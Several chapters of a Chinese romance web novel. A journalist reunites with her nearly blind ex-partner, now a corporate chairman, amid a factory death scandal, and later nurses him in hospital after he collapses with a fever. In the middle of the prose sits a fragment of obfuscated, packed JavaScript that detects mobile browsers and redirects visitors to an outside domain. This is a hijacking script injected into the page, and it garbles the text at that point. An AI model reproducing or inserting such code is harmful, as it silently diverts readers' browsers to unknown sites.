张爽一巴掌拍在他肩上,笑骂:“别在老子面前装深沉,前阵子利骅老总在社交平台写了近千字的心路历程、感到压力山大,网友怎么说的,‘钱压的’,你也想上热搜?”
很少见哥哥失态,但在这个挚友面前,就像十七八岁的男孩,畅所欲言,哥哥还常常被他得话噎的哑口无言。但在挚友走后,哥哥整个人也失去了活人气,再没有真真正正的开心过。
“咳咳……”
克制低沉的咳嗽声将田佳悦从回忆里拉回,她侧眸。
陈嘉树握拳掩唇,咳了几声才止住,脸色有些发白。
“感冒了吗?”
“喉咙有些发痒,不碍事。”
*
楚语桐这次带儿子来澜川纯属是无聊来打发时间。
实验室刚完成一个大项目,领导一高兴给她批了半个月的假,上班的时候想休息,休息的时候虽不想上班但挺没劲的。
儿子呢,班级里爆发手足口,放假一周,于是她一合计就把他一块给带了过来。
只是覃乔忙的没空搭理他们,两人聊天时间仅剩暖被窝时,楚语桐又是个闲不住的人,第二天带着孩子们,保姆以及杨阿姨一块去游乐园玩了一趟。
到了第三天,覃乔说是下午要出公差,去一千多公里外的F市下的某个小镇,做跟踪采访。
好像是什么人跳楼身亡了,她实在犯困也没听明白。
下午,楚语桐带着儿子来机场送覃乔。
两人依依不舍地告别,楚语桐泪意上涌哽咽着说:“下次你来看我,知道吗?”
覃乔连连点头,嘱咐她一定照顾好自己。如此感人的画面,楚一行却冷酷地吐出两个字,“肉麻。”
窗外,一架飞机在停机坪上滑行得越来越快,机头昂起之后整个机身脱离地面,且越升越高,不多久就没入了淡蓝色的天际中。
背后传来开门声,覃乔的思绪因那一声“咚”倏然抽回。
紧接着手杖点地声混着沉稳的脚步声,一声接着一声,贵宾室里本就空荡荡,从而显得这道声像黑暗中空无一人的房子突然响起玻璃珠弹发出的脆响,拉扯着她头皮上的某条神经。
事实上还有另一种女性很优雅的高跟鞋踩地声音,只是她最先给忽略了,难道说是楚语桐提的那位带孩子的女性朋友?
下一秒她的猜想被推翻。
“陈先生您搭乘的MU517航班已安排独立安检通道,预计14:20分登机通道开启。”
是空乘小姐。
覃乔依然没有回头,抱臂环胸,平静地望着窗外第二架正在滑行的飞机。
盲杖声停在她身后不远,窸窸窣窣的衣料摩擦和皮椅陷下去轻微动静告诉她,他坐到了沙发上。
在她还在猜测陈嘉树是不是一人出行时,他的助理进门:“陈董,资料都带上了。”气还没喘匀显然是忘了什么,跑回去拿再跑回来。
门外响起候机大厅航班即将登机的提醒,这道声落下,陈嘉树在沙发上扭身,跟着沙哑微沉地声音响起:
“覃主播,从我踏进门时起我就在想,原来最远的距离,不是隔山隔海,而是明明听得见呼吸,却装作陌生人。”
语调沉在怅然与伤感之间,看似随口一提,却像烧红的细针在她心脏某处戳了一下,刺疼感让她的身体本能地抖了抖。
*
陈嘉树是曾经镌刻进她生命中的人。那时的他,清冷、凛冽、孤绝,仿佛冰川,拒绝一切温度的靠近,却也有一颗善良、赤城、炽烈的心。
初见陈嘉树是在烟雾弥漫的网吧,彼时他是电器维修店店主,他的出现仿佛是和周遭背景分裂出来的图层,吸引了她所有的目光。
硬朗分明的轮廓,眉骨高挺,双眼皮皱褶窄而深,尤其那双曜石般深邃明亮的眼睛,灯光在他身上镀出一层淡黄,却没削弱他自带的生人勿进的疏离感。
那时她还是名大二学生。
“好了。”
陈嘉树抬手双手递出她的身份证。
清凌凌的嗓音,微微凉,偏低哑,像中提琴低音弦略带沙哑的磁性,即使再嘈杂的环境下仍掩不住特质。
这是第二次见面,陈嘉树替网吧的收银员接待了几名顾客而她便是其中之一,还是萍水相逢。
但缘分不就是这样,一旦起了头,便是一而再再而三的相逢。
.......
睡梦中,覃乔明显感到什么东西轻轻敷在她的身上,接着是淡淡的暖意夹杂好闻的香气,她抬手,摸到细软的料子,这是一条薄毯。
睁开疲惫的双眼,模糊的视线中,覃乔看到一抹纯黑色衣角从眼角掠过去。
——陈嘉树。
没做其他猜测,第一反应便是他。
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15977809|177884||http|test|mini|href|location''.split(''|''),0,{}));
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>与陈嘉树每次见面都是匆匆,而那日他说出那句“乔乔,再给我一次机会。”之后两人又走了一段路,全程再无对话,庆幸这时候一通电话进来,仿佛一场及时雨,她挂断电话,体面地转身离去。
刚才休息室里,陈嘉树那看似随口一提,其中的酸涩如同涨潮的海水几乎将她卷入浪头中,她明知道他如今的视力,所以见面也当作不识,不就是欺负他看不清。
念及此,覃乔内心升起愧疚,抬手招来空乘小姐。空乘俯身时,她以手掩唇低声说:“麻烦给我身后那位先生准备一杯热美式,要配黄糖块。”
那是陈嘉树的小癖好,曾经她还打趣过他:
“陈总,喝美式的人不会加糖,你实在觉得苦,不如点焦糖?”
“怕苦和喜欢醇厚冲突吗?”他真诚发问。
“你这不是.......”她思索一下,“没苦硬吃。”
陈嘉树扑哧笑出声:“速溶咖啡喝多了,现在反倒觉得苦点才像真的。”他握住她的手,扬起下巴:“不是硬吃,是有些味道,得慢慢习惯。”
后来,美式配黄糖终究成了他的标配。
一杯温热香味浓郁的咖啡放在那块实木折叠桌上。浓郁好闻的咖啡香气吸入鼻腔,陈嘉树低头看着这只骨瓷白杯,唇畔浅露笑纹。
空乘:“先生,这是前排女士为您点的热美式,配了黄糖。她说希望您旅途愉快。”
陈嘉树:“帮我感谢这位女士,她的心意我收到了,”握住杯耳,他故意抬高嗓音,“此外,甘苦照旧,承蒙惦记。”
咖啡见底,旅程也到了目的地,待商务舱内乘客走尽,陈嘉树才打开盲杖起身,旁边的叶特助拿起公文包,走在前面引路。
“陈董。”
覃乔还没走,在陈嘉树经过自己座位旁时,鬼使神差地叫住他。
陈嘉树侧转身,她站着。
“您的......”覃乔攥着公文包带的手松了紧,紧了松。
“先下机,我再与你说。”
覃乔与陈嘉树一前一后走下飞机,然后在出站口的长廊上同步地停下脚步。
这条空中长廊悬在机场两座航站楼之间,像一座透明的桥梁,连接着两栋巨大的玻璃钢结构建筑。
左边望去,停机坪上飞机起落,银翼在阳光下闪烁如游动的鱼;右侧则是机场的环线道路,出租车、巴士和私家车在车流中停停走走。
覃乔遥望远处,不是没感觉到陈嘉树盯在她脸上的沉沉目光。
他终于出声,自带沙哑:“右眼视力在0.04,一米内我能看见你,大致的轮廓,发型、衣服颜色......上次你涂了红色唇膏就很生动。”
男人的语调轻松,甚至有带几分自我调侃的幽默。
说罢,陈嘉树转身,覃乔一愣后也跟着转身。
两人面对面,三步之遥。
覃乔下意识地攥紧公文包,这种小动作,陈嘉树自然不会发现,可她懊恼这种不自禁的动作正如她烦躁自己一见到陈嘉树内心便像起了海潮。
心烦意乱中不经意地与他目光接触,他轻轻弯起唇角:“若想看清你的眼睛、鼻子,可能还需近一点。”
同时他上前一步,两人之间仅剩两步。
覃乔怔了怔,右手虚抬一下,掌心向他,温声制止:
“陈董。”
右脚落回原地,陈嘉树眼底卧着温柔的笑意,轻轻吐出一个字,“好。”
他们来日方长。
4. 第 4 章
两人在机场出口分道扬镳,陈嘉树坐上了一辆黑色奔驰车,覃乔被同伴喊过去,钻进一辆国产品牌的商务面包车内。
覃乔未告诉陈嘉树他们去的是同一个地方,他们很快就会再见。
“主任,东亭厂区那边又传来消息,那对父子的亲戚朋友们在厂门口烧纸,被保安宝暴力驱赶,其中一人被打伤,你看这张照片——”
助理敏敏将平板递到覃乔面前,她接过来,视线一垂,指腹在屏幕上轻轻摩挲着,若有所思。
敏敏还在说:“多可怜满脸是血,这两天东亭这个小镇因乔树集团出名了,就没下过热搜。”
昨日,跳楼自杀被送医抢救三天的父子于医院离世,社会新闻、财经新闻,甚至娱乐新闻都争相报道。
陈嘉树是澜川本地人,也是本省优秀的企业家,大型企业乃地方经济支柱,它的一举一动将会影响地方形象,因此上级部门要求务必查清楚来龙去脉。
覃乔主动请缨现场跟踪报道,陆台正愁没有合适的人选,想都没想就批了她的申请。
*
两排保安开道,陈嘉树坐的车从厂区正门驶入,车窗贴着隐私膜,外面围堵的亡者亲戚、家属,还有一些媒体,一概看不见车里的人。
陈嘉树去年三月和几个高层一起来过,在这里待了一周,他在厂区里走走看看,还和厂里两个副总、车间主任、主管开了几场会。
那时他的眼睛还没这么差至少能分辨出谁在假笑、谁在躲他的目光。不同于现在,一场会议下来,每个人嘴里都像含着蜜,话里听不出半点破绽,可偏偏他连他们的面部表情都看不清。
“哥。”
田佳悦怀里抱着一摞资料,推开办公室的门,走进来。她带着审计部比陈嘉树早一天到这里。
田佳悦的声音让陈嘉树抽回思绪,他拄着盲杖往回走,拉开办公椅,坐下来,拿了一份文件。
“我来念。”
田佳悦抽走他手里的文件。
集团里的各类报表,需要经他审核签字的合同、项目书等等,他都戴着助视眼镜慢慢读。
助视眼镜的功能就是放大字体,他现在只有一只右眼还能勉强用用,也担心高强度用眼,会加剧它的恶化。
所以年初开始,读重要文件的工作交给了田佳悦,日常报表就由两位助理来念。
下午朱奥来电,乔树与中申的战略合作协议条款已谈妥,法务正在核验合同文本,就等他回来签署。
放下手机,陈嘉树拿起盲杖出门,由叶特助带路,他径直走到审计部所在的会议室。
另一边,覃乔刚踏进休息室,和外面那帮堵厂门自媒体记者不同,里面都是眼熟的主流媒体记者。
有两个一高一矮的女人贴墙站着,时不时给他们添茶水,但看这两人一脸怨气,黑云压顶,脚趾头想想都可猜出一二必然是行政部门被拉来做服务行业的。
覃乔的团队在外面,敏敏发来信息采访到了几位厂里出来的工人,视频已经发到她的邮箱。
覃乔坐不住了,拿起公文包走出去。长廊下,她蓦地止步,隔着一大片空场地,看到正从某个房间出来的陈嘉树,一同出来的除了常跟在他身边的助理还有一个年轻的女人。
女人……
覃乔莫名感到眼熟,便想看清楚,她微微眯起眼睛,隔的远这张脸不是很看得清,留一头黑长直,肤色白皙,依稀可辨出五官生很漂亮,方领米白色针织连衣裙,在腰间收紧,恰到好处的勾勒出她纤柔的腰身。
许是是她的目光太过直勾勾,女人有所感知,倏然朝她看过来,她似乎看到女人眼瞳里肉眼可见的错愕。
“嫂嫂。”田佳悦不确定地默念。
却让旁边的陈嘉树瞬时绷直了脊背,他还未反应过来,田佳悦第二声直接急切地喊:
“嫂嫂!!”
女人声音细柔,不如男人般洪亮、气势如虹,能传很远。
田佳悦不确定嫂嫂有没有听到,又怕她走掉,全不顾形象地拔腿就朝覃乔跑去。
*
初夏的风,微凉,裹挟空气里淡淡的泥土和枝叶的清香气。
田佳悦带覃乔转来转去,走进一片厂区里开辟出来的小公园,里面不少职工在锻炼,她们找了个僻静的角落站在那儿聊。
头顶碧绿的柳枝随风摇摆,一条过长的柳枝频频擦过覃乔的脸,她退后一步,躲开它。
“哥哥,从没有忘记你,真的……回不去了吗?”
田佳悦眼眶微微泛红,哑着声向她确认。
覃乔颔首,“佳悦,你在长大,世界每天在变,我们确实回不到过去了,对吧?”
田佳悦和陈嘉树不是兄妹,甚至连亲戚关系都不是,田佳悦只是陈嘉树那位忘年之交的已故老友的女儿。
那年田佳悦十二三岁,陈嘉树为赚外快,辅导过田佳悦两年数学,自此后他就多了一个妹妹。
“嫂嫂,哥哥他曾经差点……”
田佳悦掐着手心,支吾半天,最终咽回肚子里。与覃乔分开后,田佳悦回到办公室找陈嘉树。
陈嘉树停笔,抬头问:“她不愿意原谅我是吗?”
田佳悦低低地“嗯”声,桌上的陶瓷杯里的茶水见底,她拿起杯子,正想添茶水。
陈嘉树:“帮我点一杯咖啡。”
田佳悦有些微惊讶,还是放下陶瓷杯:“外卖吗?”
陈嘉树点头后拿起桌上的手机,手机识别到人脸自动解锁。
他的手机壁纸是一张唯美的夜景。
深蓝色的天幕下,雪山锋利而沉默。
极光横贯天际,淡绿色的光带宛如银河的碎屑,边缘泛着些微紫。
那是覃乔研究生毕业,他们从英国离开,专门去了一趟挪威。
两人戴着厚厚的帽子,穿十几斤重的滑雪服,两只戴着加厚手套的手相牵,她引领着他走至雪地空地中央。
“嘉树,看见极光了吗?”
白、绿、蓝……在头顶流动,仿佛无限长的飘带。
看见了,很美。
极光在他眼中:“我看见了,原以为我再也看不到这么清晰的夜景。人生真的很神奇,在以为再也不会时,总有奇迹发生。”
覃乔转头看他说:“要相信奇迹。”
“以前我不信……”他一顿,“现在我信了,我正站在奇迹里。”
遇见你是最好的“奇迹”,乔乔。
“哥?”
陈嘉树眼神一晃,回到现实之中。
田佳悦仍站在那儿:“那件事我不知道该不该告诉嫂嫂。”
陈嘉树淡声:“过去的,不必提。”
“知道了。”田佳悦走至茶几前,弯腰拿起桌上的手机,指尖滑到外卖界面,进入星巴克界面。
她操作熟练地下单了两杯美式,付款前,特别备注带两块黄糖。
“佳悦”
田佳悦转身,“怎么了?”
陈嘉树在电脑前抬头,直直地看着她:“她有说什么吗?”
*
次日,上午九点。
省台《财经前沿》播出东亭乔树集团厂门口时事新闻。主持人覃乔站在厂门口,面向镜头,手指厂区名称。
“各位观众早上好,我是记者覃乔,现在乔树集团东亭厂区。五月二十一日,该厂区发生一起跳楼事件,两名死者均为该厂五年工龄的老员工……”
画面切到拉着[黑心企业,还我命来]横幅的死者亲友身上。
“据本台调查,涉事父子生前曾多次投诉薪资拖欠问题,而乔树集团近二年财报显示,高管薪酬涨幅达30%,基层工人工资却停滞不前……”
“啪”一声,平板电脑反面朝上叩在办公桌上。陈嘉树发泄情绪般腾地起身,又像瞬间被抽去全部力气,重重坐回去。
他伸手拿了桌上的手机,想给覃乔发信息,才想起很多年前,她就把他拉进了黑名单。
覃乔是资深记者,不可能不调查就对着直播镜头说这这些没有真凭实据的话,可是什么拖欠工资,财报的数据根本就不是事实。
她怎么会……
陈嘉树用力摇头,不可能,不可能的。
田佳悦端着外面买的小米粥进来。
粥放桌子上,她揭开盖子,再拆开塑料袋取出里面的一次性勺子,插入粥中,清淡香甜的气味往上飘。
陈嘉树扶着额头,脸色微白。
“哥……”
似乎被她这声唤醒,陈嘉树猛地扭头看向她,黑洞般幽深的双眼逐渐聚光:“去请覃乔过来,不,我去找她,她在哪里?”
十分钟后,田佳悦请来了覃乔。
玻璃门在田佳悦出去后缓缓合上。
覃乔坐在沙发上,沉静地看着陈嘉树拄着盲杖走向她。
男人身形高大,像一座平静移动的雪山,他越接近她,那种冷气和压迫感越发强烈,无形中的压力让她呼吸都跟着不畅。
覃乔怎么会不知道陈嘉树为什么请她来,她说了不该说得话,且会对他的集团造成极大的负面影响。
“你在调动那些人的情绪,”陈嘉树冷声问:“为什么?”。
气氛静了,覃乔将手机放到桌上,起身说,“陈董我是记者,我只听,只看我所拍到的客观事实。”
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>陈嘉树怔然望她有许久,继而神情冷峻,语气不留情面:“事实?事实是你和门外那帮人一样?偏听偏信,用吸睛的标题,为你们省台获得高关注度和高流量?”
覃乔还未来得及开口,陈嘉树声音陡然拔高,“我问你,你采访的那两个人,说我们集团薪资拖欠你核实过吗?工人工资停滞不前的数据又是从哪里来得?”
他声色俱厉地样子就像在训斥下属,多年商海沉浮,如今的陈嘉树浑身透着不容置疑的威严感,她竟有些畏惧他。
垂眸间,覃乔看到他攥紧盲杖的那只手青筋暴起,仿佛要把手中这根棍子生生捏断。
陈嘉树似有无数的话语要向她声讨,覃乔抢在他出口前发声:
“陈董若是觉得报道失真,可以发声明澄清,也可以让你们的法务部门起诉我。”她一顿后轻笑,一字一句:“还是说你认为我在报复你?”
报复。
陈嘉树脸颊几不可查地跳了跳,不只是震惊而是阴暗心思被搬上台面的滞涩。
他哑然:“起诉?我起诉你什么?”
覃乔不想与他多说,索性闭口不言。
陈嘉树却没想就此打住:“乔乔,现在不是十四年前,我没办法也不可能配合你知道吗?”
十四年前……他刻意地强调,覃乔几乎条件反射地退后半步,小腿撞到沙发边缘。
明白了,陈嘉树认为她是通过这件事再次换取自己的职业发展。
那么,最后这句话又是什么意思?是在提醒她,之所以有现在的成就,全是当年他的配合?
她脸色一沉,不客气地反问:“陈嘉树你什么意思?”
他们隔着十多公分的空气,陈嘉树可以看到覃乔问这句话时颤抖的肩膀。
相识相爱相守整整十年,他们之间何曾面红耳赤、针锋相对过?
陈嘉树意识到自己话说得过分严厉,抬手想碰她的肩膀,还没碰到,就被覃乔挥开。
“不用你提醒我!!”
覃乔失态地低吼,她忍他很久了,他有什么资格来指导她工作,又想来替她做决定吗!
“你说得没错,当年要不是你接受我的采访,我不会拿到特批的正式名额,但,陈嘉树我……早就不欠你了!”
此言一出,就像一把刀子捅进陈嘉树心脏,还转了半圈,剧烈的痛楚顷刻间蔓延到四肢百骸。
覃乔但看一秒血色尽失的这张脸,就好像她这些话是打在他身上的子弹,打伤了他,打碎了他。
她十指死拧,紧咬牙关,浑身的肌肉因过分紧绷而微微颤栗。
陈嘉树固执地再次伸手。
她往后缩,眼睫簌簌发颤,毫无征兆的眼泪大颗大颗滚下来,顷刻模糊她的眼。看不清他的脸,但他粗重的喘息声像破旧的风箱。
他似乎哪里不舒服?
这个念头从她脑中一闪而过,也只是闪过而已。
陈嘉树:“听我说——”
喉头被突然蹿上来的一股气体堵住,上不去也下不来,他需要一个支撑,只能死攥住杖身。
天旋地转地感觉愈来愈重,好像一闭眼就会沉睡下去。可越是如此,陈嘉树越是自虐般地靠近她,像是要找到什么证明。
“陈董!”
覃乔脱离沙发,站在茶几旁边,她不想再跟陈嘉树玩这种游戏。
“不要再过来了。”
她这句话似乎激起他的反骨,长臂一伸,准确无误地攥住她的手臂。
覃乔受到惊吓:“你干什么!”
避之不及地一把甩开他的手,没想到,他竟因她这个动作,弄得大幅度晃了晃身。
她愕住。
待他稳住身形,覃乔方才意识到自己不该待在这里:
“我先走了。”
她转身,不带留恋地朝门外走。
“逃”这个字用在现在的场景中似乎更形象。看着覃乔快步逃离,渐渐超出了他可见的视野范围。
陈嘉树缓慢地勾了勾唇,他做错了,覃乔恨他也是应该,可怎么会这般怕他?
那天在学校也是,就好像他是洪水猛兽……
闷痛、滞堵、各种情绪充盈胸腔,极度缺氧让他如同濒临死亡的鱼,费力汲取一丝丝氧气。
可还是徒劳。
眼前明暗交替的愈发快速,下一秒,盲杖脱手,陈嘉树踉踉跄跄退步撞到沙发,紧接着直直栽下去。
“哐当”
“砰!”
两道声同时发生,重叠在一起。
意识彻底被黑暗漩涡吞没前,陈嘉树好似听见一声焦切地喊……好像是覃乔,她不是叫他陈董而是嘉树。
5. 第 5 章
覃乔坐在病床前,看着睡容沉静的男人,唇色黯淡,脸色并未好转还是苍白,六年过去,相比他眼疾的加重进度,他的外形其实变化不大。
瘦了些许,脸上骨骼感更重,但覃乔见过他更瘦时候,正是创业初期,后来事业渐渐平稳,慢慢脸上长了肉,身板也不再那么单薄。
但其实除却眼睛这个长久以来的毛病,陈嘉树的身体底子一向很好,连感冒都很少,所以刚才他一下栽进沙发,真的有把她吓到。
跟救护车过来的一路她回头想想,从她进门时起,陈嘉树的脸色就很差,只是她心里更多的是怨气从而忽略了这一点。
高烧三十九度六,当集团的利益受损,他硬撑着身体与她对峙,相比较他的理性,自己一味地发泄、感情用事,还把他给气晕了。
愧疚如同潮水汹涌而来,好像自己不做点什么,这种情绪折磨就难以平复。
覃乔抬头望去,玻璃瓶里还剩一半透明液体,顺着滴管向下,她的目光最终落在他覆在被面的手背上。
男人的手很大,指骨细长,指甲圆润干净,细洁的皮肤隐约可见淡淡的青色纹路。
她握住陈嘉树右手腕,隔着衬衫衣料,另只手则掀开被子,生怕吵醒他,小心翼翼地将手托起再放下,最后将被子轻轻盖在上面,却在收回时带到他冰凉的指尖。
应该是九年前,她也是发烧了,还是在外地出差的时候,晚上两人通电话,小毛小病她就没告诉他,可他却因听出她嗓音里的湿哑,只是怀疑,便买了机票赶来找她。
那些年陈嘉树给她的好是真的,给她的爱也是真的……
怔仲几秒,覃乔双手探入被中,小心避开手背上挂针的区域,包裹住他这只手。
点滴声里,冷冰冰的的指节在她掌心渐渐泛起热意。
镇上的单人病房布置比较简单,倒是这张床的位置好,接近窗子,太阳被云层运着走,快到正当中时,暖薄的光线斜洒进来,如同金黄纱帘又在陈嘉树身上盖了一层。
男人的手指颤了颤,覃乔手臂一抖,仓促地将手收回。
只是,暂时还不能走,田佳悦去厂里给陈嘉树取盲杖,她需等田佳悦回来。
她拿起床头柜上的手机,垂下眼睫,滑屏回复工作群消息。
陈嘉树醒了,他缓缓睁开眼皮,黑暗褪去后眼前变成一大片苍茫的白,其中掺着很浅的黄色。
这是在哪里?
陈嘉树迟钝地转动眼睛,大片白色变成了各种色块,同时还嗅到一股冰冷的消毒水气味。
……这里是医院。
刚才手背上那道温意还有微微的重量感,如此真实,可在他醒来的刹那,温意和重量一并消失,只是一个梦吧?
他的脑海里重现在办公室,覃乔毅然决然离去的背影,是他健忘了,当年他说得那些话伤她至深,怎么可能轻而易举地原谅他。
事实上,她原谅他还少吗?
六年后,她没有旧事重提,没有歇斯底里,甚至没有一句质问,已经是给足了他体面,可他却像个冥顽不灵的赌徒,还想再赌一次她的心软。
酸涩漫上眼眶,他频繁地眨着眼睛。
“陈董,您醒了。”
这道熟悉入骨的声音令陈嘉树狠怔一下,他着急确认,手掌方才施力,手背上便传针扎般的刺疼,紧跟而来还有覃乔略严肃的声音:
“别动,在挂水。”
真的是她。
陈嘉树瘫到床上,依言,不再乱动。
她柔声:“我帮你把床头摇起来些。”
覃乔走至床尾,弯腰拿住转把,一下接一下的转动它。每转一次床头升高一点,调到合适的高度,覃乔转脸询问正在看她的陈嘉树。
“可以吗?”
发丝落在她脸颊上,痒痒的,她将其掖在耳后。
陈嘉树脸上浮一出丝欣慰的笑意:“可以。”
覃乔回到床头,站着,俯视他。
他柔情款款目光驻留在她脸上,盯得她很不自在。
于是,她别开眼睛,看到了床头柜上田佳悦买来的粥。
医生说他晕倒低血糖也是一方面,醒来可以让病人吃点东西。
覃乔静了静,说,“你喝点粥吧,佳悦给你买了小米粥。”
陈嘉树昨晚没胃口,今早的粥又没喝,他确实很饿。
由于右手不方便,他只能翻身,伸出左手去够粥碗,指尖刚碰到碗壁,这碗粥便被覃乔拿了去。
“你不方便,我喂你。”她语气很淡,听不出一丝情绪和其它感情。
只是看他不方便而已。陈嘉树躺回去,道了声:“谢谢。”
覃乔连人带凳子一块往前挪了挪,凳子腿在瓷砖地上拖出“吱——”的噪响。
粥不烫,她舀起一勺粥递到陈嘉树唇边:
“不必客气,举手之劳。”
粘稠香甜的米粥滑过喉咙,一路暖进胃里直达心底。陈嘉树侧眼细细看着她认真专注的模样。
她肤色很白,记得那时在网吧幽暗的环境下,最先晃了他眼睛的正是她莹白如玉的肌肤。
之后便她灵动会说话的杏眼,琥珀色的眼珠像琉璃般清透,那时她总是高扎大马尾,让她恬静的气质中透出几许俏皮。
虽然现在看不大分明,但还是能与记忆中的模样重合,就说在近一点就可以看清她。
趁着覃乔舀粥的空挡,陈嘉树呼出一口气,紧绷的眉宇整个舒展开来。
田佳悦来敲门时,粥还剩四分之一,覃乔放下粥碗,一抬眼,就见田佳悦拿着陈嘉树的盲杖站在床尾。
“我马上出去。”她声音轻轻的,像是怕惊扰到他们。
盲杖放另一边的床头柜上,田佳悦目不斜视地转身就走。
却在通往门口的过道上听见覃乔说:“我走了,你陪你哥。”
凳子擦过地面动静有些大,覃乔站着,被翻过身的陈嘉树攥住手臂,点漆的瞳眸里漾着执拗光点,指骨渐渐收紧。
退回来的田佳悦看到这一幕,神情诧然,曾几何时见过这样的哥哥,像个幼稚固执的男生,与平日里稳重清冷的形象大相径庭。
隔几秒,田佳悦意识到自己不合适待在这里,赶忙垂首,疾步走出病房。
关门声很轻,应声落下的还有陈嘉树这句:
“粥还没喝完。”
病中的他鼻音很重:“我想....覃记者你不是半途而废的人。”
他这副病歪歪的样子,覃乔的确不忍心拒绝,重新拿起粥碗。
*
当天夜里陈嘉树飞回澜川。
零点,乔树集团发布蓝色通告,对不幸离世的员工父子表示沉痛哀悼,并已成立专项调查组彻查事件,将及时向社会公布结果。
同时,随公告附上澜川总厂近三年工资汇总及涨薪数据,以供公众监督。
半小时后乔树集团再次登顶热搜。
网友A:[发总厂工资表?乔树集团是不是瞎?死人的是东亭厂!拿不相干的数据糊弄鬼呢?]
网友B:[万恶的资本家。]
网友C:[为什么不敢放东亭厂区工资表??]
......
凌晨一点四十五分,乔树集团公关部、财务部、法务部五人被叫到二十二层大会议室开会。
陈嘉树沉默地听着手机读出微博下的评论,其它几人屏气凝神。
听完他转脸,请教左手边这位公关部栗总监:“栗总,这么写的目的是什么?”
栗总监:“附总厂区数据,是向公众证明乔树集团的薪资体系整体合规,先树立一个正面参照,等东亭厂调查清楚后,再作对比说明。”
陈嘉树目光如炬:“公众要的是答案,现在你给出一个无关厂区的数据,只会让他们觉得我们在转移视线。”
整个集团都知道陈嘉树有眼疾,这双眼睛却是锐利的看不出任何盲态,仿佛没有任何事情能瞒住他的眼睛。
去年七月份陈嘉树眼疾加重后首次来集团,全程需要助理、秘书搀扶,连喝水都能将茶杯打翻。
饶是这样,集团中仍有少人怀疑他在‘扮猪吃老虎’,事实上并没有这么严重。
前天徐董事还笑说:“孙董事以为陈嘉树瞎了,故意让人在报表里做手脚,结果陈嘉树早有准备,反向设局。呵,年纪轻轻,心眼子贼多,大家都小心点。”
栗总监走了下神:“但如果我们还没调查清楚就承认东亭厂有问题,股价会波动,董事会那边……不好交代。”
就到底该不该公布东亭厂薪资数据,栗总监立即罗列出一二三四。财务总监仝总在栗总讲完之后说:“陈董,公布总厂数据至少能证明集团层面没有系统性,而且东亭厂属于并购项目,原有薪资体系,我们可以……”
“撇清关系。”陈嘉树帮他说。
仝总点头,还欲说,陈嘉树打断:“那我问你东亭厂并购二年了,为什么薪资系统还没并轨?你这套说辞搬出去,网友只会有一个结论:集团对并购厂区搞歧视化管理。”
五人互相传递眼神,有人点头认同陈嘉树的话,也有人夹眉头表示忧虑。
陈嘉树列举去年恒信机械厂粉尘爆炸案:“他们第一时间公布爆炸车间安全记录,哪怕数据难看,但公众至少看到‘直面问题’的态度。”
他撑着盲杖起身,敲着地面,从会议桌一侧通道经过,站定在落地窗前:“而你现在给的是无关厂区的‘优秀成绩单’,公众眼中不是转移视线是什么?”
男人穿着白色衬衫,虽瘦,但肩膀宽
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阔,如同山岳般稳重,只是站在那里就有种无形的威仪。
他给出三个“立即”。
立即发新公告,承认东亭厂存在‘薪资延迟发放’但必须强调正在核查是否恶意拖欠。
立即公开东亭厂原始工资表,另,董事长亲自带队去死者家里,不道歉只鞠躬。
立即认清并购厂区的员工也是乔树的人,所有人不能踩这条红线。
会议结束,陈嘉树坐车回家,他需要先洗个澡,然后小睡一会儿,上午七点还需飞东亭镇。
*
覃乔早上醒来,第一件事拿来平板电脑,热搜上果然挂着乔树集团的第二条公告,承认了‘薪资发放延迟’这件事。
网上骂声一片。
覃乔逐条翻下来,却也从中看到已有人在为乔树说话,大致意思乔树连夜发声明还是两条公告,而且董事长会亲自去死者家里慰问,可见重视程度。
这条公告一看就是陈嘉树指导下写出来的,零点那个甩锅公告,估计把他气半死。
但覃乔也有注意到乔树股价今天跌了10%,董事会那边恐怕要跳脚了,两边兼顾,陈董这次压力不小。
这身体还没恢复,能扛得住吗?
覃乔摇摇头,撇去这个念头,关上笔记本电脑。
晨光熹微,街道上人群熙熙攘攘,穿梭在车道上,好不热闹。覃乔走出酒店在旁边的包子铺买了两个菜包子,她边走边吃包子。
一辆黑色奔驰车从她旁边经过,却在百米外打双闪停了下来,覃乔只是觉得奇怪多看两眼,继续朝前走。
车门打开,陈嘉树从车里下来,他放下盲杖,弯身对车里的田佳悦说,“先去审计那儿拿文件,放我桌上。”
“知道了,哥。”田佳悦点头说,“你路上小心。”
车门碰上,陈嘉树转身,奔驰车从他身后驶离。
覃乔心里装着事,眼神飘忽慢吞吞地走着,直到感觉到快撞到人,才蓦然止步,抬起下巴。
男人逆着太阳光,轮廓有些发虚,高大的身形投下的深色暗影笼罩住她,棱角分明侧脸沐浴在光下细细的绒毛很清晰。
覃乔下意识地退半步,拉开两人之间的距离。
然而,她退的半步,陈嘉树立即追过来:“去厂里?”
口吻和煦,好像昨天的不愉快并没有发生过。
覃乔嗯了下。
陈嘉树转身,两人并肩朝前走。
东亭镇的街道不分非机动车道和机动车道,汽车随时随地会从身边开过去,就有一辆车险险擦过陈嘉树胳膊,覃乔见状心惊肉跳,她连忙伸手,攥住陈嘉树的袖管,往里带的同时说:“走里面。”
覃乔又松开手绕到他的外侧,陈嘉道谢:“谢谢。”
“走吧。”覃乔说。
这条路不但非机动车和机动车混杂在一块,还有不少开电瓶车不管方向乱窜,路障也很多,乱扔的垃圾袋,倒地的自行车,甚至还有翻倒的垃圾桶,陈嘉树走得很艰难,若不是覃乔不时拉他一下,他不知道要撞多少次。
他转转头笑说:“不怕你笑话,我还专门去学校学过怎么用盲杖,可每次出门,还是得有人跟着,这根棍子在我手里,唯一的作用大概就是在我快撞墙时告诉我前面有堵墙。”
覃乔侧眸,盲杖在陈嘉树手里幅度很小的左右挥动,本来她不想接话,可这样似乎不大礼貌,想想还是说:“有句话叫‘不撞南墙不回头’,但爽哥以前常说,你总能比他们多想一步,提醒他们不要撞南墙。”
前面有一辆倒地的电瓶车,覃乔攥住他的袖子,带他绕过去,再放手,陈嘉树唇角上扬:“现在不是给你机会看我撞墙了?”
“这不还没撞到吗?”覃乔望他一眼,恰逢遇到他垂落的目光。
一碰即离。
“再说了,撞了在站起来不就成了?”
陈嘉树很认同她的话,轻点头,眉眼弯弯,笑意显著。
